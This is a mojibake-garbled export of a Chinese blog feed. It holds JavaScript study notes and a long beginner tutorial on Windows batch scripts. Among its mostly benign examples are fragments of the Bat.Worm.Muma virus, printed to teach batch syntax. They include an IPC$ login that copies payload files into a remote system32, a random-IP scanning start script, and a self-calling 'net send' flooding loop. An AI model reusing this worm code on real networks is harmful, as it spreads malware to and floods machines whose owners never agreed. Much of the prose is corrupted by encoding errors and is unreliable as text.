W者学习VC++?深切体会到好教材的重?W者开始吃了劣质光盘版”教材”?#8221;21天学VC++”的祸?看了一个月q如入云雾之?后来看了《VC++技术内q?Ҏ豁然开?但是~译原理的教材却g质量相差不是特别?关键q在于合适的Ҏ.以上ҎW者也是误打误撞ȝ出来?希望有所参考h?
]]>学习JS中!Q! http://m.tkk7.com/yjjlovewjf/archive/2008/02/02/179099.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Sat, 02 Feb 2008 15:18:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/02/02/179099.html http://m.tkk7.com/yjjlovewjf/comments/179099.html http://m.tkk7.com/yjjlovewjf/archive/2008/02/02/179099.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/179099.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/179099.html From Today I will begin to study JavaScript!!...There are some tips during mystudy as follows:
1.
1 for ( var x = 0 ; x < 10 ; x ++ )
2 {
3 eval ( " var i " + x + " = " + x);
4 alert(i5);
5 }
6
q个javascriptE序q不会运行,因ؓQ第一ơ@环的时候, alert(i5)无法q行。i5q个变量q没有声明和初化?br />
在JS中,即没有初始化变量,只要声明了变量。。在alert的时候还会显CQundefined...不然没声明的变量直接用的话会被认为是错误。。?br />
故。。。写JS的时候,提倡记得声明一下(var一个)。?
2.
1
2 var testFunction = new Function( " x " , " y " , " var getx = x; var gety = y; var result = getx + gety; return result; " );
3 alert(testFunction( 3 , 6 ));
4
5 function test()
6 {
7 }
8 var obj = new test();
9 obj.name = " oso " ;
10 obj.num = 52 ;
11 function demo()
12 {
13 alert( " wjf, you are my love!! " );
14 }
15 obj.say = demo;
16 obj.say();
W2行中的Function得第一个字母大写,在其它的函数声明定义的时候,得小写。不然出错!Q!
]]> 批处理最完整人性化教程 http://m.tkk7.com/yjjlovewjf/archive/2008/01/23/177260.htmlwǒ愛伱--咑֩ wǒ愛伱--咑֩ Wed, 23 Jan 2008 06:06:00 GMT http://m.tkk7.com/yjjlovewjf/archive/2008/01/23/177260.html http://m.tkk7.com/yjjlovewjf/comments/177260.html http://m.tkk7.com/yjjlovewjf/archive/2008/01/23/177260.html#Feedback 0 http://m.tkk7.com/yjjlovewjf/comments/commentRss/177260.html http://m.tkk7.com/yjjlovewjf/services/trackbacks/177260.html 批处理最完整人性化教程
q是一技术教E,我会用很单的文字表达清楚自己的意思,你要你识字就能看懂,p学到知识。写q篇教程的目的,是让每一个看q这些文字的朋友C一?
话:如果爱可以让事情变的更简单,那么p它简单吧Q看q篇教程的方法,是慢!慢慢的,如同品一个女人、一杯茗Ӟ你会发现很多以前在眼前的东西突?
变的很遥q,而有些很遥远的东西却又突然回C眼前?
先概qC下批处理是个什么东东。批处理的定义,至今我也没能l出一个合适的----众多高手们也都没l出----反正我不知道----看了我也不一定信?
----我是个菜鸟,当然更不用说了Q但我想ȝZ?#8220;比较合适的”Q而且我也怿自己可以把它解释的很清楚Q让更多的菜鸟都知道q是个什么东东,?
用这个东东可以干什么事情。或怽会因文章?#8220;无条件爱上批处理”Q那么我的目的就辑ֈ?---我就是要让你׃它,我就q么拽,你能怎么着Q?
真的Q爱有时候就q么拽,是q么没理由,是q么不要脸!真的Q?
按照我的理解Q批处理的本质,是一堆DOS命o按一定顺序排列而Ş成的集合?
OK,never claver and get to
businessQ闲话少说言归正传)。批处理Q也UCؓ批处理脚本,英文译ؓBATCHQ批处理文g后缀BAT取的前三个字母。它的构成没有固定格式,
只要遵守以下q条ok了:每一行可视ؓ一个命令,每个命o里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的q_是DOS。批处理有一
个很鲜明的特点:使用方便、灵z,功能强大Q自动化E度高。我不想让自己写的教E枯燥无呻I因ؓ늼C码(批处理的内容是代码吧?Q的问题本来是?
燥的Q很有面对满屏q的代码而静下心来。所以我会用很多单实用的例子让读q篇教程的朋友去体会批处理的那四的力Q感受它那古늲怪的性格Q不
知不觉中׃批处理(晕,怎么又是爱?到底批处理和爱有什么关p?{案Q没有!Q。再说句“闲话”Q要学好批处理,DOS基础一定要牢!当然脑子灉|也是
很重要的一斚w?
例一、先l出一个最easy的批处理脚本让大家和它个脸熟,下面的几行命o保存为name.bat然后执行Q以后文中只l出代码Q保存和执行方式cMQ:
ping sz.tencent.com > a.txt
ping sz1.tencent.com >> a.txt
ping sz2.tencent.com >> a.txt
ping sz3.tencent.com >> a.txt
ping sz4.tencent.com >> a.txt
ping sz5.tencent.com >> a.txt
ping sz6.tencent.com >> a.txt
ping sz7.tencent.com >> a.txt
exit
是不是都能看的懂Q是不是很easyQ但它的作用却是很实用的Q执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文Ӟ它里面记录的信息可以
帮助你迅速找到速度最快的QQ服务器,从而远?#8220;从服务器中{”那一痛苦的过E。这?gt;的意思,是把前面命o得到的东西放到后面所l的地方Q?
>>的作用,?gt;的相同,区别是把l果q加到前一行得出的l果的后面,具体的说是下一行,而前面一行命令得出的l果保留,q样可以?
q个a.txt文g来大Q想到如何搞破坏了?Q)。By the
wayQ这个批处理q可以和其他命ol合Q搞成完全自动化判断服务器速度的东东,执行后直接显C速度最快的服务器IPQ是不是很爽Q后面还详l介l?
例二、再l出一个已l过时的例子Qa.batQ:
@echo off
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
a.bat
Z么说q是个过时的例子呢?很简单,因ؓ现在已经几乎没有人用带广告的QQ了(KAOQ我的QQq显C好友三围呢Q!Q,所以它几乎用不上了。但曄?
的作用是不可窥的:删除QQ的广告,让对话框q干净净。这里用的地址是QQ的默认安装地址Q默认批处理文g名ؓa.batQ你当然可以Ҏ情况自行?
攏V在q个脚本中用了if命oQ得它可以辑ֈ适时判断和删除广告图片的效果Q你只需要不关闭命o执行后的DOSH口Q不按CTRL+Cl止命oQ?
它就一直监视是否有q告囄QQQ也再不断查看自己的广告是否被删除Q。当然这个脚本占用你一点点内存Q呵c?
例三Q用批处理脚本查是否中冰河。脚本内容如下:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
q里利用了netstat命oQ检查所有的|络端口状态,只需要你清楚常见木马所使用的端口,p很easy的判断出来是否被人种了冰沟뀂然q不是确?
的,因ؓ冰河默认的端?626Q完全可以被Z攏V这里介l的只是Ҏ和思\。这里介l的是方法和思\E做改动Q就变成可以查其他木马的脚本了,再改
动一下,加进d数和端口及信息列表文件后Q就变成自动所有木马的脚本了。呵呵,是不是很q瘾Q脚本中q利用了l合命o&&和管道命
令|Q后面将详细介绍?
例四Q借批处理自动清除pȝ垃圾Q脚本如下:
@echo off
if exist c:\windows\temp\*.* del c:\windows\temp\*.*
if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.*
if exist c:\windows\History\*.* del c:\windows\History\*.*
if exist c:\windows\recent\*.* del c:\windows\recent\*.*
以上脚本内容保存到autoexec.bat里,每次开机时把pȝ垃圾l自动删除了。这里需要注意两点:一、DOS不支持长文g名,所以就出现了Tempor~1q个东东Q二、可Ҏ自己的实际情况进行改动,使其W合自己的要求?
怎么P看到q里Q你Ҏ处理脚本是不是已l有点兴了Q是不是发现自己已经慢慢׃了这个东东?别高兴的太早Q爱不是一件简单的事,它也许能带给你快?
和幸,当然也能让你痛苦的想去蟩楹{如果你知道很难q敢l箋的话QI 服了
YOUQl努力吧Q也许到最后你不一定得到真爱(真的有这可能Q爱q的人都知道Q,但你可以体会到整个爱的过E,是如此?
酸、苦和GQ有没有甜天知道?
Z么会把批处理和爱情扯上关p?不是我无聊,也不是因样写有趣多少Q原因有二:其一Q批处理和爱情有很多相同的地方,有些地方我用“专业”的行话解
释不清(我不怀疑自q表达能力Q而是事情本n׃好说清楚Q,说了=没说Q但用地球h都知道的爱情一比喻Q爱情是什么??*怎么知道Q!Q,没准你心
里一下就亮堂了,事半功倍,何乐而不为?其二Q我q段旉状态不是很好,感冒发烧头疼dQ但主要q是感情上精摧D,搞的人烦透了Q借写教程之际感慨?
句,大家全当买狗皮膏药了,完全可以省略不看Q也许还真有Ҏ?---不至于让你看着看着q着了,把头了来找我报销医药费)。说不定下次的教E中
大家q会看到杨过、张无忌{金老前辈笔下的英雄们?
看过W一章的朋友Q一定对批处理有了初步的印象Q知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思\要灵z!没有做不?
的,只有想不到的。这和爱情就有点不同了,因ؓ爱情的世界是两个人的世界Q一厢情愿不叫爱情(补充Q那叫单恋。废话!Q而批处理却是一个h的天堂,你可?
为所ƲؓQ没有达不到的境界!
批处理看h杂ؕ无章Q但它的逻辑性之强,l对不比其他E序语言Q如汇编Q低Q如果你写的脚本是一堆ؕ麻,虽然每一行命令都正确Q但从头执行到尾后,不一
定得C惌的结果,也许是一屏幕的Bad command or fail
name。这又和爱情有了共同点:按步骤来l营Q缺或增多的步骤都可能D不想看见的结果。陷入爱河的朋友Q相信没有不肯定q句话的。我的爱情批处理Q?
输出的结果不是Bad command or fail
nameQ屏q是q么昄的:‘你的爱情'不是内部或外部命令,也不是可q行的程序或批处理文件。然后就是光标不停闪动,{待q下一ơ错误的输入?
从这一章开始,由入q介绍批处理中常用的命令,很多常见DOS命o在批处理脚本中有q广泛的应用Q它们是批处理脚本的BODY部分Q但批处理比
DOS更灵zdP更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说Q的DOS命oQ常用命令如COPY?
DIR{就不做介绍了(q些看似单的命o实际复杂的很Q我怕自己都说不清楚Q)?
例五Q先看一个实例。这是一个很有意思的脚本Q一个小巧实用的好东东,把批处理“自动?#8221;的特点体现的淋漓致。先介绍一下这个脚本的来历Q大安知道?
~程序(MASMQ的上机q程Q先要对源代码进行汇~、连接,然后再执行,而这中间有很多环节需要输入很多东西,ȝ的很Q只有经历过的朋友才懂得Q。如
何ɘq个q程变的单呢Q在我们搞汇~课E设计时Q我“被?#8221;写了q个脚本Q用h很爽Q呵c看看脚本内容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被q一堆的东西l吓怕了Q静下心来仔l的看(回想一下第一章中W一D|怎么写的Q!Q。已l给Z每一行命令的解释Q两个冒号后面的内容为前一行内
容解释的E文(xE文的朋友也不用担心,都很easyQ一看就懂了Q实在不懂了不会查词典啊Q这么懒Q)Q在脚本执行时不昄Q也不vM作用。倒数W?
5行行首有一个冒P可不是笔误哦Q具体作用后面会详细讲到。此脚本中masm和link是汇~程序和q接E序Q必deditE序以及你要~辑的源代码
Q当然还有这个脚本,废话Q)一起在当前目录中。用这个批处理脚本Q可以最大可能的减少手工输入Q整个过E中只需要按几下回R键,卛_实现从汇~源代码
到可执行exe文g的自动化转换Qƈ具备判断功能Q如果汇~时源代码出现错误(汇编不成功)Q则自动暂停昄错误信息Qƈ在按L键后自动q入~辑?
代码界面Q如果源代码汇编成功Q则q行q接Qƈ在连接后自动执行生成的exe文g。另外,׃批处理命令的单性和灉|性,q个脚本q具备良好的可改q?
性,单进行修改就可以W合不同朋友的上Z惯。正在学汇编的朋友,一定别忘了实习一下!
在这个脚本中出现了如下几个命令:@、echo?:、pause?和goto?以及if。而这一章就讲q这几个命o?
1、@
q个W号大家都不陌生Qemail的必备符P它怎么会跑到批处理中呢Q呵呵,不是它的错,批处理本来就M开它,要不׃完美了。它的作用是让执行窗?
中不昄它后面这一行的命o本nQ多么绕口的一句话Q)。呵呵,通俗一点说Q行首有了它的话Q这一行的命o׃昄了。在例五中,首行的@echo
off中,@的作用就是让脚本在执行时不显C后面的echo off部分。这下懂了吧Q还是不太懂Q没关系Q看完echo命o介,自然懂了?
2、echo
中文?#8220;反馈”?#8220;回显”的意思。它其实是一个开兛_令,是说它只有两种状态:打开和关闭。于是就有了echo on和echo
off两个命o了。直接执行echo命o显C当前echo命o状态(off或onQ执行echo
off关闭回显,它后面的所有命令都不显C命令本w,只显C执行后的结果,除非执行echo on命o。在例五中,首行的@命o和echo
off命o联合hQ达C两个目的Q不昄echo
off命o本nQ不昄以后各行中的命o本n。的是有点乱,但你要是l习一下的话,3分钟包会Q不会的退钱!
echo命o的另一U用法一Q可以用它来昄信息Q如例五中倒数W二行,Default BAT file name is START.BAT在脚本执行后的H口中显C,而echo命o本n不显C(Z么?Q)?
echo命o的另一U用法二Q可以直接编辑文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上脚本内容的编辑方法是Q直接是命o行输入,每行一回R。最后就会在当前目录下生成一个a.bat的文Ӟ直接执行׃得到l果?
3?:
q个命o的作用很单,它是注释命oQ在批处理脚本中和rem命o{效。它后面的内容在执行时不昄Q也不vM作用Q因为它只是注释Q只是增加了脚本的可L,和C语言中的/*…………*/cM。地球h都能看懂Q就不多说了?
4、pause
中文?#8220;暂停”的意思(看看你的workman上)Q我一直认为它是批处理中最单的一个命令,单纯、实用。它的作用,是让当前E序q程暂停一下,q显C?
一行信息:hL键l? .
.。在例五中这个命令运用了两次Q第一ơ的作用是让使用者看清楚E序信息Q第二个是显C错误的汇编代码信息Q其实不是它xC,而是masmE序在显C错
误信息时被暂它停了,以便让你看清楚你的源代码错在哪里Q?
5?和goto
Z么要把这两个命o联合h介绍Q因为它们是分不开的,无论了哪个或多了哪个都会出错。goto是个跌{命oQ?是一个标{。当E序q行到goto
Ӟ自动蟩转到:定义的部分去执行了(是不是分不开Q)。例五中倒数W?行行首出C?Q则E序在运行到goto时就自动跌{?标签定义的部分执
行,l果是显C本usageQusage是标签名称Q。不隄出,goto命o是Ҏq个冒号和标{U来L它该跌{的地方,它们是一一对应的关
pRgoto命o也经常和if命ol合使用。至于这两个命o具体用法Q参照例五?
goto命o的另一U用法一Q提前结束程序。在E序中间使用goto命o跌{到某一标签Q而这一标签的内容却定义为退出。如Q?
……
goto end
……
:end
q里:end在脚本最后一行!其实q个例子很弱智,后面讲了if命o和组合命令你q道了?
6?
q个癑ֈ号严格来说是不上命令的Q它只是批处理中的参数而已Q多?一起用的情况除外Q以后还详l介l)Q但千万别以为它只是参数小看了它(看看例五中有多少地方用到它?Q,了它批处理的功能就减少?1%了。看看例七:
net use \\%1\ipc$ %3 /u:"%2"
copy 11.BAT \\%1\admin$\system32 /y
copy 13.BAT \\%1\admin$\system32 /y
copy ipc2.BAT \\%1\admin$\system32 /y
copy NWZI.EXE \\%1\admin$\system32 /y
attrib \\%1\admin$\system32\10.bat -r -h -s
以上代码是Bat.Worm.Muma病毒中的一部分Q?1代表的IPQ?%代表的usernameQ?%代表password。执行Ş式ؓQ脚本文件名
参数一 参数?……。假设这个脚本被保存为a.batQ则执行形式如下Qa IP username
password。这里IP、username、password是三个参敎ͼ~Z不可Q因为程序不能正运行,q不是因为少了参数语法就不对Q这样在?
本执行过E中Q脚本就自动用用你的三个参数依次Q记住,是依ơ!也是一一对应的关pR)代换1%?%?%Q这样就辑ֈ了灵z运用的目的Q试惻I如果?
脚本中直接把IP、username和password都定义死Q那么脚本的作用也就被固定了Q但如果使用%的话Q不同的参数可以辑ֈ不同的目的,是不?
更灵z?Q?
关于q个参数的用,在后l章节中q将介绍。一定要非常熟练才行Q这需要很多练习过E,需要下点狠工夫Q?
q一章就写到q里了。可能有朋友问了Q怎么没介lif命oQ呵呵,不是我忘了,而是它不Ҏ说清楚,下一章再讲了Q这一章讲的这点东西,如果你是初学者,
恐怕也够消化的了。记住一句话QDOS是批处理的BODYQQ何一个DOS命o都可以被用在批处理脚本中d成特定的功能。到q里Q你是否已经惛_了用?
p子里的东西去写点带有自动化色彩的东东呢?很简单,是一个DOS命o的集合而已Q相信自UCؓ天才的你已经会把计算机等U考试上机试题中的DOS部分
用批处理来自动化完成了?
烦!好象一个半老女人到了更q期Q什么事都想唠叨几句Q什么事都感C舒服Q看谁谁不爽。明知山有虎Q偏向虎pQ最后留下一w伤痕无功而返Ӟ才发?
自己竟然如此脆弱Q如此ؓ,如此不堪一凅R徘徊在崩溃的边~,H然回想起了自己最后一ơ扁人的那一刻,q真有点怀念(其实我很不喜Ƣ扁人,更不喜欢被h
扁)。我需要发泄,我用手指拼命的敲打着键盘Q在一阉|一阉|节奏的声音中Q屏q上出现了上面的q些文字。可Nq就是发泄的另一U方式吗Q中国hq是?
宻I早在几千q前孔老夫子就说过“唯女子与hQ难M”Q真**有先见之明,佩服Q虽然是在发泄,不过大家h心,以我的脾气,既然军_写这教E,?
一定会力d好,写完,l对不给自己留下遗憾Q要不这教程׃是我写的Q?
曄有一经典的批处理教E出现在你的屏幕上,你没有保存,直到找不到它的链接你才后悔莫及,Z间最大的痛苦莫过于此。如果上天能l你一个再看一ơ的?
会,你会寚w教E说三个字:我爱你!如果非要l这份爱加上一个期限,你希望是100q。因?00q后Q你恐怕早已经挂了Q而现在,你的屏幕上出Cq?
你正在看的批处理教E,虽然不如你曾l看的那经典,但如果勉q的厅R你会爱它吗Q时间会?0q那么长吗?{案是:试试看吧?
批处理脚本中最重要的几个命令,在q一章详l介l,但是很遗憾,有些l节到现在我都没掌握的很好,甚至q有些生分。如同还不太懂得׃栗但我一直都?
努力Q即使一直都没有收获。所以可能讲的会比较W统Q但我会告诉你方法,剩下的就是时间问题了Q需要自己去练。让我们共同努力吧。冰M非一日之寒,
滴水I石非一日之功。有些事情,比如学批处理Q比如爱一个hQ都是不能速成的,甚至q会有付辛而收获ؓ甚微的情c再ơ重画I看这教E的时候,一?
要静下心来,除非你已l掌握了q篇教程的所有东?---但那也就不必看了Q浪Ҏ_
7、if
接上一章,接着讲if命o。ȝ来说Qif命o是一个表C判断的命oQ根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三U用法,在这里分开讌Ӏ?
(1)、输入判断。还是用例五里面的那几句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
q里判断输入的参数情况,如果参数为空Q无参数Q,则蟩转到usageQ如果参Cؓ/?或helpӞ大家一般看一个命令的帮助Q是不是输入???
help呢,q里q么做只是ؓ了让q个脚本看v来更像一个真正的E序Q,也蟩转到usage。这里还可以用否定Ş式来表示“不等?#8221;Q例如:if
not "%1"=="" goto
usageQ则表示如果输入参数不ؓI就跌{到usageQ实际中q样做就没意义了Q这里介l用法,不了那么多了,呵呵。)是不是很单?其实译成中
文体会一下就understand了?
(2)、存在判断。再看例二里q句Q?
if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif
如果存在那些gif文gQ就删除q些文g。当然还有例四,都是一L道理。注意,q里的条件判断是判断存在的,当然也可以判断不存在的,例如下面q句“?
果不存在那些gif文g则退?#8221;Qif not exist C:\Progra~1\Tencent\AD\*.gif
exit。只是多一个not来表C否定而已?
(3)、结果判断。还是拿例五开刀Q没惛_自己写的脚本Q竟然用处这么大Q呵呵)Q?
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先对源代码进行汇~,如果p|则暂停显C错误信息,q在按Q意键后自动进入编辑界面;否则用linkE序q接生成的obj文g。这里只介绍一下和if命o
有关的地方,&命o后面会讲到。这U用法是先判断前一个命令执行后的返回码Q也叫错误码QDOSE序在运行完后都有返回码Q,如果和定义的错误?
W合Q这里定义的错误码ؓ1Q,则执行相应的操作Q这里相应的操作为pause & edit %1.asm部分Q?
另外Q和其他两种用法一Pq种用法也可以表C否定。用否定的Ş式仍表达上面三句的意思,代码变ؓQ?
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本质了吧Q其实只是把l果判断后所执行的命令互换了一下,“if not errorlevel 1”?#8220;if errorlevel
0”的效果是{效的,都表CZ一句masm命o执行成功Q因为它是错误判断,而且q回码ؓ0Q?pC否定,是说这个错误不存在Q就是说masm执行?
功)。这里是否加notQ错误码到底?q是1Q是值得考虑的两个问题,一旦搭配不成功脚本p定出错,所以一定要体会的很深刻才行。如何体会的深刻Q练
习!自己写一个脚本,然后把有not和没有not的情况,q回码ؓ0?的情况分别写q去执行Q怎么Q嫌ȝ啊?排列l合一下才四中情况你就嫌麻烦了Q?
后面介绍道命o和组合命令时q有更麻烦的呢!怕了Q呵c)Q这样从执行的结果中p很清楚的看出q两U情늚区别?
q种用errorlevell果判断的用法是if命o最隄用法Q但也恰恰是最有用的用法,如果你不会用errorlevel来判断返回码Q则要达到相同的效果Q必ȝelse来表C?#8220;否则”的操作,是比较麻烦的。以上代码必d成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
关于if命o的这三种用法say到这里,理解很简单,但应用时׃一定用的那么得心应手,主要是熟l程度的问题。可能有的朋友有ҎӞ我怎么没给出类
g面三行的用法介绍Q是因ؓ下面三行是if命o帮助里对它自w用法的解释QQ何h只要一?#8220;if
/?”p看到Q我没有必要在这里多费口舌;更重要的原因Q是我觉得这样介l的不清楚,看的Z一定看的懂Q所以我采用上面自己对if命o的理解来介绍?
一定要注意的是Q这三种用法的格式各不相同,而且也是不能改变的,但实际上可以互换Q以Z本质上讲Q这三种用法都是建立在判断的基础上的Q哲学教我们?
会透过现象看事物本质!Q。有兴趣的朋友可以自qI一下?
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
学过汇编或C的朋友,肯定都知道call指o表示什么意思了Q在q里它的意思其实也是一L。在批处理脚本中Qcall命o用来从一个批处理脚本中调用另一个批处理脚本。看例八Q默认的三个脚本文g名分别ؓstart.bat?0.bat和ipc.batQ:
start.batQ?
……
CALL 10.BAT 0
……
10.batQ?
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.batQ?
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有没有看Z么不对的地方Q没看出来啊Q没看出来就对了Q其实就没有不对的地方嘛Q你怎么看的出来Q从上面两个脚本Q你可以得到如下信息Q?、脚本调用可
以灵z运用,循环q用、重复运用?、脚本调用可以用参敎ͼ关于W一点就不多说了Q聪明的你一看就应该会,q里说一下第二点?
在start.bat中,10.bat后面跟了参数0Q在执行时的效果Q其实就是把10.bat里的参数%1?代替。在start.bat中,
ipc.bat后面跟了参数ipcfind.txtQ一个文Ӟ也可以做参数Q,执行时的效果Q就是用ipc.bat中的每一行的三个变量Q这里不懂没?
p,学过for命o后就懂了Q,对应代换ipc.bat中的%%i?%j?%k。这里参数调用是非常灉|的,使用旉要好好体会。在初学期间Q可以先
学习只调用脚本,至于q脚本的参数一起用的情况Q在后面的学习中自然׃有比较深ȝ理解Q这是因为当你已l可以灵z运用批处理脚本后,如何使代码写?
更精更完更高效p然包括到了考虑的范_q时候你׃发现在调用脚本时直接加入参数Q可以代码效率加倍。By the
wayQ上面的q几个脚本,都是Bat.Worm.Muma病毒的一部分Q在后面的教E里Q大家将有机会见到这个病毒的真面目?
那是不是_在同一个目录下臛_存在两个批处理脚本文Ӟ只有一个你调用谁?Q?呵呵Q注意了Q这句话错了Q!只有一个照样可以调?---调用自nQ看
例九Q默认脚本文件名a.batQ:
net send %1 This is a call example.
call a.bat
q两句一l合Q效果自然不怎么P因ؓ只有一台机器来发消息,谁怕谁啊?我给你来个礼往来!可如果有100台机器同时执行,而且每台机器开10和窗口同
时向一个目标机器发消息的话Q呵c这里call a.bat的作用就是调用自w,执行完前一句net
send命o后再调用自nQ达C循环执行的目的?
l出一个很有意思的脚本Q有兴趣的朋友可以实验一下。例十(默认脚本文g名ؓa.batQ:
call a.bat
一定要在DOSH口下执行,否则只会看到一个窗口一闪而过Q看不到最后结果。等执行完后Q当脚本被执行了1260ơ,别忘了想一下到底是Z么!爱情有时
候跟q个脚本一P一旦陷入死循环Q最后的l果都是意想不到的。只是爱情,l对不会{到被毫无理q循环q么多次Q也许在W三ơ时出Clove
is aborted的提C?
9、find
q是一个搜索命令,用来在文件中搜烦特定字符Ԍ通常也作为条件判断的铺垫E序Q我怎么H然惌v了这四个字?Q。这个命令单独用的情况在批处理中是比较见的,因ؓ没什么实际意义。还是借例三来说明Q?
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命o查是否有冰河默认的端?626在活动,q把l果保存到a.txt中。然后用type命o列出a.txt中的内容Q再在列出的
内容中搜索字W串“7626”
Q发现有的话则提CZ了冰治I否则退出。看Qfind命o其实p么简单,但有一点必要注意刎ͼ如果不用type命o列出a.txt中的内容Q而是?
接用find命o在a.txt中找“7626”Qfind a.txt "7626" && echo
"Congratulations! You have infected
GLACIER!"Q,必dl出q个a.txt的绝对\径(我试q了Qfindq没有默认\径就是当前\径的功能Q必L动指定。也许是我错了,Ƣ迎
指正Q。因为在find命o的帮助里有这么一句话Q如果没有指定\径,find搜索键入的或者由另一个命令生的文字。这里的“另一个命?#8221;自然指?
type命o了?
至于find命o的其他几个参数如v、n、i{,有兴的朋友自己ȝI吧Q这已经属于DOS学习的内容了Q这里就不做介绍。关于find命o和其他命令的一些更_֦的用法(有些直o人叫l)Q后l的教程中将介绍Q希望关注?
10、for、set、shift
Z么把q三个命令放ChԌ原因除了我说明外Q恐怕谁也想不到Q很单的一句话Q其实我也不太懂Q是的,对于q两个命令,我是从研I?
Bat.Worm.Muma病毒开始学习的Q时间过M不少Q但q是没完全搞明白Q我怕讲出来q自己都看不懂,我更怕不心讲错了成了罪人。所以我l出一
个脚本去告诉你,如何让这两个命ol自q一个初步的印象Q其实也是q两个命令的入门Q而ƈ不是说如何领会这两个命o。因领会如此_֦的两个命?
Q特别是forQ谈何容易!也许你会表扬我说我诚实、不懂就不懂Q也怽会骂我,让我既然不懂p紧滚蛋,不要在这里丢人显|也许你还会说一些别的这?
那样好听或不好听的话Q都随便你了Q即使我不同意你说的话,我也会誓L卫你说话的权利。看例十一Q?
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文gQ里面分别记录了for命o、set命o和shift命o的帮助信
息。地球h都能看懂Q我׃多说了。我在网上曾l找了很长时间这三个命o的教E,但都不理惻I基本都是照搬的帮助信息。我惛_自己完全掌握了这两个命o
后,一定要写一用自己的文字ȝ出来的for、set和shift教程Q关于shift命oQ后面介l批处理的参数时q将涉及刎ͼQ一定会的,q是我的
心愿之一Q需要注意的一ҎQ这三个命o的帮助里
Q介l的都比较死板,虽然也D了一些例子,但这是远q不够的。要掌握q两个命令,最需要的是耐心Q没写错Q就是耐心。光是认真看完它们的帮助文字已l?
需要够的耐心了,要进一步练习领会这两个命oQ难道不需要更大的耐心Q实战练习的Z我会留给你的Q关键还是那句话Q看你有没有耐心ȝI了。看看例?
二:
START.BATQ?
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET
NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET
NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
q是Bat.Worm.Muma病毒的v始脚本,讄了病毒运行的环境变量。是不是看的头都大了Q又忘了写在W一章第一D늚那句话(静下心来Q)Q你应该
能体会到学习q两个命令所需要的耐心了吧。就如同ȝ一个hQ你得学会宽容,打不得骂不得Q用你宽大的胸怀d容她的一切,即你发现爱她的q程如看上面
代码的过E一栯你头大,但你q是得爱下去----爱需要理由吗Q不需要吗Q需要吗Q不需要吗……{到风^静后,最直观的收获就是,你的耐心变的前所?
有的充Q面对她的复杂和善变Q你自己会处变不惊,以自q方式M容应付曾l应付不了的场面Q即使到最后一w伤痕,也会感慨曄的D动有多么伟大?
没错Q这是批处理的力Q这是q力。让你受了伤q感谢伤你的人。这U感觉就好象在自己最喜欢的音乐声中被人强奸,痛ƈ快乐着?
不得不再ơ重申一遍,各种DOS命o是批处理的BODYQ我实在找不Z个更合适的词来形容他们之间的关p)Q学好DOS命o是学好批处理的前提。其?
DOS命o如copy、dir、del、type、path、break、start{内部命令,以及ping、net、cmd、at、sort?
attrib、fc、find{外部命令,在批处理里的应用非常q泛。这教E的作用Q是教你认识批处理,以及如何利用DOS命ol合出来一个完的批处
理脚本,去让它自动完成你惌它做的事情。而灵z自如的~辑一个批处理脚本是徏立在熟练掌握DOS命o的基上的Q这已经出了本文的范畴Q在此就不赘q?
了?
